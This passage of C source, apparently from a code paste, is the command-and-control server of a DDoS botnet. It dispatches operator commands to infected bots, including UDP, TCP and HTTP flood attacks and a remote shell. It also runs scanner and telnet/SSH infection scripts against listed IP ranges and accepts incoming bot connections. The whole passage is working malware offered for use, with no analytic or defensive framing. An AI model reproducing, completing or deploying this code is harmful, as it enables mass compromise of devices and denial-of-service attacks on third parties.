  610.                 system("python telnet.py filtered.txt");
  611.                 continue;
  612.             }
  613.             if(strstr(buf, "REINFECT"))
  614.             {
  615.                 system("python w.py filtered_ssh.txt");
  616.                 continue;
  617.             }
  618.             if(strstr(buf, "FILTER"))
  619.             {
  620.                 system("sort telnet.txt | uniq -u>>filtered_telnet.txt;sort infected.txt | uniq -u>>filtered_ssh.txt");
  621.                 continue;
  622.             }
  623.             if(strstr(buf, "LOAD"))
  624.             {
  625.                 system("python scan.py 376 LOAD 88 1");
  626.                 continue;
  627.             }
  628.             if(strstr(buf, "SCAN1"))
  629.             {
  630.                 system("python scan.py 376 B 119.92 lol");
  631.                 continue;
  632.             }
  633.             if(strstr(buf, "SCAN2"))
  634.             {
  635.                 system("python scan.py 376 B 119.93 lol");
  636.                 continue;
  637.             }
  638.             if(strstr(buf, "SCAN3")) {
  639.                 system("python scan.py 376 B 125.25 1");
  640.                 continue;
  641.             }
  642.             if(strstr(buf, "SCAN4"))
  643.             {
  644.                 system("python scan.py 376 B 125.26 1");
  645.                 continue;
  646.             }
  647.             if(strstr(buf, "SCAN5")) {
  648.                 system("python scan.py 376 B 125.27 1");
  649.                 continue;
  650.             }
  651.             if(strstr(buf, "SCAN6")) {
  652.                 system("python scan.py 376 B 113.53 1");
  653.                 continue;
  654.             }
  655.             if(strstr(buf, "SCAN7"))
  656.             {
  657.                 system("python scan.py 376 B 180.180 1");
  658.                 continue;
  659.             }
  660.             if(strstr(buf, "SCAN8"))
  661.             {
  662.                 system("python scan.py 376 B 185.52 1");
  663.                 continue;
  664.             }
  665.             if(strstr(buf, "SCAN9"))
  666.             {
  667.                 system("python scan.py 376 B 122.52 1");
  668.                 continue;
  669.             }
  670.             if(strstr(buf, "SCAN10"))
  671.             {
  672.                 system("python scan.py 376 B 122.53 1");
  673.                 continue;
  674.             }
  675.             if(strstr(buf, "SCAN11"))
  676.             {
  677.                 system("python scan.py 376 B 101.102");
  678.                 continue;
  679.             }
  680.             if(strstr(buf, "LUCKY"))
  681.             {
  682.                 system("python scan.py 376 LUCKY 88 1");
  683.                 continue;
  684.             }
  685.             if(strstr(buf, "LUCKY2"))
  686.             {
  687.                 system("python scan.py 376 LUCKY2 88 1");
  688.                 continue;
  689.             }
  690.             if(strstr(buf, "SCAN_OFF"))
  691.             {
  692.                 system("killall -9 python");
  693.                 continue;
  694.             }/*OTHER COMMANDS*/
  695.             if(strstr(buf, "HELP"))
  696.             {
  697.                 pthread_create(&title, NULL, &TitleWriter, sock);
  698.                 char helpline1  [80];
  699.                 char helpline2  [80];
  700.                 char helpline3  [80];
  701.                 char helpline4  [80];
  702.                 char helpline5  [80];
  703.                 char helpline6  [80];
  704.                 char helpline7  [80];
  705.                 char helpline8  [80];
  706.                 char helpline9  [80];
  707.                 char helpline10 [80];
  708.                 char helpline11 [80];
  709.                 char helpline12 [80];
  710.                 char helpline13 [80];
  711.                 char helpline14 [80];
  712.                 char helpline15 [80];
  713.                 char helpline16 [80];
  714.                 char helpline17 [80];
  715.                 char helpline18 [80];
  716.                 char helpline19 [80];
  717.                 char helpline20 [80];
  718.                 char helpline21 [80];
  719.                 char helpline22 [80];
  720.                 char helpline23 [80];
  721.                 char helpline24 [80];
  722.                 char helpline25 [80];
  723.                 char helpline26 [80];
  724.  
  725.  
  726.  
  727.                 sprintf(helpline1,  "\r\n[+] ATTACK COMMANDS [+]\r\n");
  728.                 sprintf(helpline2,  "[-] UDP    - !* UDP IP Port Time 32 0 10\r\n");
  729.                 sprintf(helpline3,  "[-] TCP    - !* TCP IP Port Time 32 all 0 10\r\n");
  730.                 sprintf(helpline4,  "[-] STD    - !* STD IP Port Time\r\n");
  731.                 sprintf(helpline5,  "[-] JUNK   - !* JUNK IP Port Time\r\n");
  732.                 sprintf(helpline6,  "[-] HOLD   - !* HOLD IP Port Time\r\n");
  733.                 sprintf(helpline7,  "[-] HTTP   - !* HTTP Url Time\r\n");
  734.                 sprintf(helpline8,  "[-] KILL   - !* KILLATTK | KILL\r\n");
  735.  
  736.                 sprintf(helpline9,  "[+] SCANNING COMMANDS [+]\r\n");
  737.                 sprintf(helpline10, "[-] LOAD   - LOAD\r\n");
  738.                 sprintf(helpline11, "[-] SCAN   - SCAN1 | SCAN2 | SCAN3 | SCAN4 | SCAN5\r\n");
  739.                 sprintf(helpline12, "[-] SCAN   - SCAN6 | SCAN7 | SCAN8 | SCAN9 | SCAN10\r\n");
  740.                 sprintf(helpline13, "[-] LUCKY  - LUCKY | LUCKY2\r\n");
  741.                 sprintf(helpline14, "[-] STOP   - SCAN_OFF\r\n");
  742.  
  743.                 sprintf(helpline15, "[+] GENERAL COMMANDS [+]\r\n");
  744.                 sprintf(helpline16, "[-] SHELL  - !* SH\r\n");
  745.                 sprintf(helpline17, "[-] BOTS   - !* BOTS | BOTS\r\n");
  746.                 sprintf(helpline18, "[-] STATUS - !* STATUS | STATUS\r\n");
  747.                 sprintf(helpline19, "[-] STATS  - STATS\r\n");
  748.  
  749.                 sprintf(helpline20, "[+] MISC COMMANDS [+]\r\n");
  750.                 sprintf(helpline21, "[-] ATTACK_GUI      - ATTACK");
  751.                 sprintf(helpline22, "[-] INECTION FILTER - FILTER\r\n");
  752.                 sprintf(helpline23, "[-] TELNET INFECT   - INFECT\r\n");
  753.                 sprintf(helpline24, "[-] REINFECT BOTS   - REINFECT\r\n");
  754.                 sprintf(helpline25, "[-] CLEARSCREEN     - CLEAR\r\n");
  755.                 sprintf(helpline26, "[-] LOGOUT          - LOGOUT\r\n");
  756.  
  757.  
  758.  
  759.                 if(send(datafd, helpline1,  strlen(helpline1),  MSG_NOSIGNAL) == -1) goto end;
  760.                 if(send(datafd, helpline2,  strlen(helpline2),  MSG_NOSIGNAL) == -1) goto end;
  761.                 if(send(datafd, helpline3,  strlen(helpline3),  MSG_NOSIGNAL) == -1) goto end;
  762.                 if(send(datafd, helpline4,  strlen(helpline4),  MSG_NOSIGNAL) == -1) goto end;
  763.                 if(send(datafd, helpline5,  strlen(helpline5),  MSG_NOSIGNAL) == -1) goto end;
  764.                 if(send(datafd, helpline6,  strlen(helpline6),  MSG_NOSIGNAL) == -1) goto end;
  765.                 if(send(datafd, helpline7,  strlen(helpline7),  MSG_NOSIGNAL) == -1) goto end;
  766.                 if(send(datafd, helpline8,  strlen(helpline8),  MSG_NOSIGNAL) == -1) goto end;
  767.                 if(send(datafd, helpline9,  strlen(helpline9),  MSG_NOSIGNAL) == -1) goto end;
  768.                 if(send(datafd, helpline10, strlen(helpline10), MSG_NOSIGNAL) == -1) goto end;
  769.                 if(send(datafd, helpline11, strlen(helpline11), MSG_NOSIGNAL) == -1) goto end;
  770.                 if(send(datafd, helpline12, strlen(helpline12), MSG_NOSIGNAL) == -1) goto end;
  771.                 if(send(datafd, helpline13, strlen(helpline13), MSG_NOSIGNAL) == -1) goto end;
  772.                 if(send(datafd, helpline14, strlen(helpline14), MSG_NOSIGNAL) == -1) goto end;
  773.                 if(send(datafd, helpline15, strlen(helpline15), MSG_NOSIGNAL) == -1) goto end;
  774.                 if(send(datafd, helpline16, strlen(helpline16), MSG_NOSIGNAL) == -1) goto end;
  775.                 if(send(datafd, helpline17, strlen(helpline17), MSG_NOSIGNAL) == -1) goto end;
  776.                 if(send(datafd, helpline18, strlen(helpline18), MSG_NOSIGNAL) == -1) goto end;
  777.                 if(send(datafd, helpline19, strlen(helpline19), MSG_NOSIGNAL) == -1) goto end;
  778.                 if(send(datafd, helpline20, strlen(helpline20), MSG_NOSIGNAL) == -1) goto end;
  779.                 if(send(datafd, helpline21, strlen(helpline21), MSG_NOSIGNAL) == -1) goto end;
  780.                 if(send(datafd, helpline22, strlen(helpline22), MSG_NOSIGNAL) == -1) goto end;
  781.                 if(send(datafd, helpline23, strlen(helpline23), MSG_NOSIGNAL) == -1) goto end;
  782.                 if(send(datafd, helpline24, strlen(helpline24), MSG_NOSIGNAL) == -1) goto end;
  783.                 if(send(datafd, helpline25, strlen(helpline25), MSG_NOSIGNAL) == -1) goto end;
  784.                 if(send(datafd, helpline26, strlen(helpline26), MSG_NOSIGNAL) == -1) goto end;
  785.                 pthread_create(&title, NULL, &TitleWriter, sock);
  786.                 continue;
  787.             }
  788.             if(strstr(buf, "KILL"))
  789.             {
  790.                 char killattack [2048];
  791.                 memset(killattack, 0, 2048);
  792.                 char killattack_msg [2048];
  793.                
  794.                 sprintf(killattack, "!* KILLATTK\r\n");
  795.                 broadcast(killattack, datafd, "KILL THAT SHIT");
  796.                 if(send(datafd, killattack, strlen(killattack), MSG_NOSIGNAL) == -1) goto end;
  797.                
  798.                 sprintf(killattack_msg, "Attack Killed!\r\n");
  799.                 if(send(datafd, killattack_msg, strlen(killattack_msg), MSG_NOSIGNAL) == -1) goto end;
  800.                 continue;
  801.             }
  802.             if(strstr(buf, "CLEAR"))
  803.             {
  804.                 char clearscreen [2048];
  805.                 memset(clearscreen, 0, 2048);
  806.                 sprintf(clearscreen, "\033[2J\033[1;1H");
  807.                 if(send(datafd, clearscreen,         strlen(clearscreen), MSG_NOSIGNAL) == -1) goto end;
  808.                 if(send(datafd, ascii_banner_line1,  strlen(ascii_banner_line1),  MSG_NOSIGNAL) == -1) goto end;
  809.                 if(send(datafd, ascii_banner_line2,  strlen(ascii_banner_line2),  MSG_NOSIGNAL) == -1) goto end;
  810.                 if(send(datafd, ascii_banner_line3,  strlen(ascii_banner_line3),  MSG_NOSIGNAL) == -1) goto end;
  811.                 if(send(datafd, ascii_banner_line4,  strlen(ascii_banner_line4),  MSG_NOSIGNAL) == -1) goto end;
  812.                 if(send(datafd, ascii_banner_line5,  strlen(ascii_banner_line5),  MSG_NOSIGNAL) == -1) goto end;
  813.                 if(send(datafd, ascii_banner_line6,  strlen(ascii_banner_line6),  MSG_NOSIGNAL) == -1) goto end;
  814.                 if(send(datafd, ascii_banner_line7,  strlen(ascii_banner_line7),  MSG_NOSIGNAL) == -1) goto end;
  815.                 if(send(datafd, ascii_banner_line8,  strlen(ascii_banner_line8),  MSG_NOSIGNAL) == -1) goto end;
  816.                 if(send(datafd, ascii_banner_line9,  strlen(ascii_banner_line9),  MSG_NOSIGNAL) == -1) goto end;
  817.                 if(send(datafd, ascii_banner_line10, strlen(ascii_banner_line10), MSG_NOSIGNAL) == -1) goto end;
  818.                 if(send(datafd, ascii_banner_line11, strlen(ascii_banner_line11), MSG_NOSIGNAL) == -1) goto end;
  819.                 if(send(datafd, ascii_banner_line12, strlen(ascii_banner_line12), MSG_NOSIGNAL) == -1) goto end;
  820.                 if(send(datafd, ascii_banner_line13, strlen(ascii_banner_line13), MSG_NOSIGNAL) == -1) goto end;
  821.                 if(send(datafd, ascii_banner_line14, strlen(ascii_banner_line14), MSG_NOSIGNAL) == -1) goto end;
  822.                 if(send(datafd, welcome_line,        strlen(welcome_line),        MSG_NOSIGNAL) == -1) goto end;
  823.                 while(1) {
  824.                 if(send(datafd, banner_bot_count,   strlen(banner_bot_count),   MSG_NOSIGNAL) == -1) goto end;
  825.                 if(send(datafd, "\x1b[32m> \x1b[37m", 12, MSG_NOSIGNAL) == -1) goto end;
  826.                 break;
  827.                 }
  828.                 continue;
  829.             }
  830.             if(strstr(buf, "LOGOUT"))
  831.             {
  832.                 char logoutmessage [2048];
  833.                 memset(logoutmessage, 0, 2048);
  834.                 sprintf(logoutmessage, "Bye, %s", accounts[find_line].username);
  835.                 if(send(datafd, logoutmessage, strlen(logoutmessage), MSG_NOSIGNAL) == -1)goto end;
  836.                 sleep(5);
  837.                 goto end;
  838.             }
  839.                 trim(buf);
  840.                 if(send(datafd, "\x1b[31m> \x1b[0m", 11, MSG_NOSIGNAL) == -1) goto end;
  841.                 if(strlen(buf) == 0) continue;
  842.                 printf("%s: \"%s\"\n",accounts[find_line].username, buf);
  843.  
  844.                 FILE *LogFile;
  845.                 LogFile = fopen("server_log.txt", "a");
  846.                 time_t now;
  847.                 struct tm *gmt;
  848.                 char formatted_gmt [50];
  849.                 char lcltime[50];
  850.                 now = time(NULL);
  851.                 gmt = gmtime(&now);
  852.                 strftime ( formatted_gmt, sizeof(formatted_gmt), "%I:%M %p", gmt );
  853.                 fprintf(LogFile, "[%s] %s: %s\n", formatted_gmt, accounts[find_line].username, buf);
  854.                 fclose(LogFile);
  855.                 broadcast(buf, datafd, accounts[find_line].username);
  856.                 memset(buf, 0, 2048);
  857.         }
  858.         end:
  859.             managements[datafd].connected = 0;
  860.             close(datafd);
  861.             OperatorsConnected--;
  862. }
  863. void *BotListener(int port) {
  864.     int sockfd, newsockfd;
  865.     socklen_t clilen;
  866.     struct sockaddr_in serv_addr, cli_addr;
  867.     sockfd = socket(AF_INET, SOCK_STREAM, 0);
  868.     if (sockfd < 0) perror("ERROR opening socket");
  869.     bzero((char *) &serv_addr, sizeof(serv_addr));
  870.     serv_addr.sin_family = AF_INET;
  871.     serv_addr.sin_addr.s_addr = INADDR_ANY;
  872.     serv_addr.sin_port = htons(port);
  873.     if (bind(sockfd, (struct sockaddr *) &serv_addr,  sizeof(serv_addr)) < 0) perror("ERROR on binding");
  874.     listen(sockfd,5);
  875.     clilen = sizeof(cli_addr);
  876.     while(1) {
  877.         newsockfd = accept(sockfd, (struct sockaddr *) &cli_addr, &clilen);
  878.         if (newsockfd < 0) perror("ERROR on accept");
  879.         pthread_t thread;
  880.         pthread_create( &thread, NULL, &BotWorker, (void *)newsockfd);
  881. }}
  882. int main (int argc, char *argv[], void *sock)//~B1NARY~
  883. {
  884.         signal(SIGPIPE, SIG_IGN);
  885.         int s, threads, port;
  886.         struct epoll_event event;
  887.         if (argc != 4) {
  888.             fprintf (stderr, "Usage: %s [port] [threads] [cnc-port]\n", argv[0]);
  889.             exit (EXIT_FAILURE);
  890.         }
  891.         port = atoi(argv[3]);
  892.         telFD = fopen("telnet.txt", "a+");
  893.         threads = atoi(argv[2]);
  894.         listenFD = create_and_bind (argv[1]);
  895.         if (listenFD == -1) abort ();
  896.         s = make_socket_non_blocking (listenFD);
  897.         if (s == -1) abort ();
  898.         s = listen (listenFD, SOMAXCONN);
  899.         if (s == -1) {
  900.             perror ("listen");
  901.             abort ();
  902.         }
  903.         epollFD = epoll_create1 (0);
  904.         if (epollFD == -1) {
  905.             perror ("epoll_create");
  906.             abort ();
  907.         }
  908.         event.data.fd = listenFD;
  909.         event.events = EPOLLIN | EPOLLET;
  910.         s = epoll_ctl (epollFD, EPOLL_CTL_ADD, listenFD, &event);
  911.         if (s == -1) {
  912.             perror ("epoll_ctl");
  913.             abort ();
  914.         }
  915.         pthread_t thread[threads + 2];
  916.         while(threads--) {
  917.             pthread_create( &thread[threads + 1], NULL, &BotEventLoop, (void *) NULL);
  918.         }
  919.         pthread_create(&thread[0], NULL, &BotListener, port);
  920.         while(1) {
  921.             broadcast("PING", -1, "LEL");
  922.             sleep(60);
  923.         }
  924.         close (listenFD);
  925.         return EXIT_SUCCESS;
  926. }
Add Comment
Please, Sign In to add comment